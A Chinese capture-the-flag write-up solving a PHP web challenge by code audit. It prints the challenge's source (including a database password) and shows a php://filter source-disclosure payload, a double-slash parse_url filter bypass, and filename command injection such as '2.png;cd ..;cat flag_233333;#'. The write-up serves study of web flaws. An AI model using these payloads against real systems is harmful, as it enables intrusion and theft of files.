考点
- 代码审计
 
- parse_url绕过
 
- 文件包含
 
- php://filter源码读取
 
题解
打开题目,是一个登陆界面:

我先尝试sql注入,但是没什么可以进行注入的点。上工具扫描目录:

两次扫描发现了一些页面:
1 2 3 4 5 6 7 8
   | /config.php /index.php /index.php/login/ /info.php /login.php /templates /register.php /user.php
   | 
 
其中/index.php/login就是登录界面的简陋版本:

然后还有一个注册页面,先注册一个账号,登录之后,跳转到页面/user.php?page=guest:

在这里发现了一个可疑的文件包含的点。简单的fuzz之后,发现怎么包含都不对,尝试一下读取源码:
1
   | /user.php?page=php://filter/read=convert.base64-encode/resource=config
   | 
 

解码后得到user.php源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
   | <?php require_once("function.php"); if( !isset( $_SESSION['user'] )){     Header("Location: index.php");
  } if($_SESSION['isadmin'] === '1'){     $oper_you_can_do = $OPERATE_admin; }else{     $oper_you_can_do = $OPERATE; }
  if($_SESSION['isadmin'] === '1'){     if(!isset($_GET['page']) || $_GET['page'] === ''){         $page = 'info';     }else {         $page = $_GET['page'];     } } else{     if(!isset($_GET['page'])|| $_GET['page'] === ''){         $page = 'guest';     }else {         $page = $_GET['page'];         if($page === 'info')         {
              Header("Location: user.php?page=guest");         }     } } filter_directory();
 
 
  include "$page.php"; ?>
   | 
 
user.php中包含了function.php,同样读取源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129
   | <?php session_start(); require_once "config.php"; function Hacker() {     Header("Location: hacker.php");     die(); }
 
  function filter_directory() {     $keywords = ["flag","manage","ffffllllaaaaggg"];     $uri = parse_url($_SERVER["REQUEST_URI"]);     parse_str($uri['query'], $query);
 
      foreach($keywords as $token)     {         foreach($query as $k => $v)         {             if (stristr($k, $token))                 hacker();             if (stristr($v, $token))                 hacker();         }     } }
  function filter_directory_guest() {     $keywords = ["flag","manage","ffffllllaaaaggg","info"];     $uri = parse_url($_SERVER["REQUEST_URI"]);     parse_str($uri['query'], $query);
 
      foreach($keywords as $token)     {         foreach($query as $k => $v)         {             if (stristr($k, $token))                 hacker();             if (stristr($v, $token))                 hacker();         }     } }
  function Filter($string) {     global $mysqli;     $blacklist = "information|benchmark|order|limit|join|file|into|execute|column|extractvalue|floor|update|insert|delete|username|password";     $whitelist = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'(),_*`-@=+><";     for ($i = 0; $i < strlen($string); $i++) {         if (strpos("$whitelist", $string[$i]) === false) {             Hacker();         }     }     if (preg_match("/$blacklist/is", $string)) {         Hacker();     }     if (is_string($string)) {         return $mysqli->real_escape_string($string);     } else {         return "";     } }
  function sql_query($sql_query) {     global $mysqli;     $res = $mysqli->query($sql_query);     return $res; }
  function login($user, $pass) {     $user = Filter($user);     $pass = md5($pass);     $sql = "select * from `albert_users` where `username_which_you_do_not_know`= '$user' and `password_which_you_do_not_know_too` = '$pass'";     echo $sql;     $res = sql_query($sql);
 
      if ($res->num_rows) {         $data = $res->fetch_array();         $_SESSION['user'] = $data[username_which_you_do_not_know];         $_SESSION['login'] = 1;         $_SESSION['isadmin'] = $data[isadmin_which_you_do_not_know_too_too];         return true;     } else {         return false;     }     return; }
  function updateadmin($level,$user) {     $sql = "update `albert_users` set `isadmin_which_you_do_not_know_too_too` = '$level' where `username_which_you_do_not_know`='$user' ";     echo $sql;     $res = sql_query($sql);
 
 
      if ($res == 1) {         return true;     } else {         return false;     }     return; }
  function register($user, $pass) {     global $mysqli;     $user = Filter($user);     $pass = md5($pass);     $sql = "insert into `albert_users`(`username_which_you_do_not_know`,`password_which_you_do_not_know_too`,`isadmin_which_you_do_not_know_too_too`) VALUES ('$user','$pass','0')";     $res = sql_query($sql);     return $mysqli->insert_id; }
  function logout() {     session_destroy();     Header("Location: index.php"); }
  ?>
   | 
 
config.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
   | <?php error_reporting(E_ERROR | E_WARNING | E_PARSE); define(BASEDIR, "/var/www/html/"); define(FLAG_SIG, 1); $OPERATE = array('userinfo','upload','search'); $OPERATE_admin = array('userinfo','upload','search','manage'); $DBHOST = "localhost"; $DBUSER = "root"; $DBPASS = "Nu1LCTF2018!@#qwe";
  $DBNAME = "N1CTF"; $mysqli = @new mysqli($DBHOST, $DBUSER, $DBPASS, $DBNAME); if(mysqli_connect_errno()){         echo "no sql connection".mysqli_connect_error();         $mysqli=null;         die(); } ?>
   | 
 
分析上面这段代码,可以看到在user.php中调用了函数user.php:

分析该函数,会对$_SERVER["REQUEST_URI"](当前的URL地址,比如http://www.example.com/aaa.php ,获得的就是/aaa.php)进行一个检查:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
   | function filter_directory() {     $keywords = ["flag","manage","ffffllllaaaaggg"];     $uri = parse_url($_SERVER["REQUEST_URI"]);     parse_str($uri['query'], $query);
 
      foreach($keywords as $token)     {         foreach($query as $k => $v)         {             if (stristr($k, $token))                 hacker();             if (stristr($v, $token))                 hacker();         }     } }
   | 
 
但是他是用parse_uri来解析URL的:

在缺省第2个参数的情况下,会返回一个array,比如有一个简单的例子:
1 2 3 4
   | <?php $url = 'http://username:password@hostname/path?arg=value#anchor'; print_r(parse_url($url)); ?>
   | 
 
返回的结果是:
1 2 3 4 5 6 7 8 9 10
   | Array (     [scheme] => http     [host] => hostname     [user] => username     [pass] => password     [path] => /path     [query] => arg=value     [fragment] => anchor )
   | 
 
又有另一个例子(测试php版本为7.2):

可以看到在高版本php中可以在/path前面再加两个//来绕过parse_url。
所以可以加个/绕过检查(不够就用两个/):
1
   | //user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg
   | 
 
得到源码,解码:
1 2 3 4 5 6 7
   | <?php if (FLAG_SIG != 1){     die("you can not visit it directly"); }else {     echo "you can find sth in m4aaannngggeee"; } ?>
   | 
 
提示我们去看m4aaannngggeee,那再读一下:
1 2 3 4 5 6 7
   | <?php if (FLAG_SIG != 1){     die("you can not visit it directly"); } include "templates/upload.html";
  ?>
   | 
 
这套娃吗,一层套一层,去templates/upload.html看看:

有一个上传的接口,尝试上传一张图片,上传后跳转到templates/upllloadddd.php,上传失败:

有点奇怪,读一下upllloadddd.php源码:
1
   | //user.php?page=php://filter/convert.base64-encode/resource=upllloadddd.php
   | 
 
解码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
   | <?php $allowtype = array("gif","png","jpg"); $size = 10000000; $path = "./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/"; $filename = $_FILES['file']['name']; if(is_uploaded_file($_FILES['file']['tmp_name'])){     if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){         die("error:can not move");     } }else{     die("error:not an upload file!"); } $newfile = $path.$filename; echo "file upload success<br />"; echo $filename; $picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0"); echo "<img src='data:image/png;base64,".$picdata."'></img>"; if($_FILES['file']['error']>0){     unlink($newfile);     die("Upload file error: "); } $ext = array_pop(explode(".",$_FILES['file']['name'])); if(!in_array($ext,$allowtype)){     unlink($newfile); } ?>
   | 
 
在上面这段代码中发现了一个任意命令执行的点,$filename参数是完全可控的:
1
   | system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");
  | 
 
尝试在文件名中注入命令1.png;ls;#,因为已经知道了templates/upllloadddd.php并不存在,但是upllloadddd.php是确实存在的,所以修改post请求包,直接向该页面请求:

没找到flag文件,去根目录下看看,但我直接用ls /有点问题啊:

换种思路2.png;cd ..;cd ..;cd ..;ls;#:

发现了flag_233333,读取flag,2.png;cd ..;cd ..;cd ..;cat flag_233333;#:

         
        
            
                
                    
                        Author:
                        Bantian
                    
                
                
                
                    
                        License:
                        Copyright (c) 2019 CC-BY-NC-4.0 LICENSE
                    
                
                
                     
                         Slogan:
                         早睡早起身体好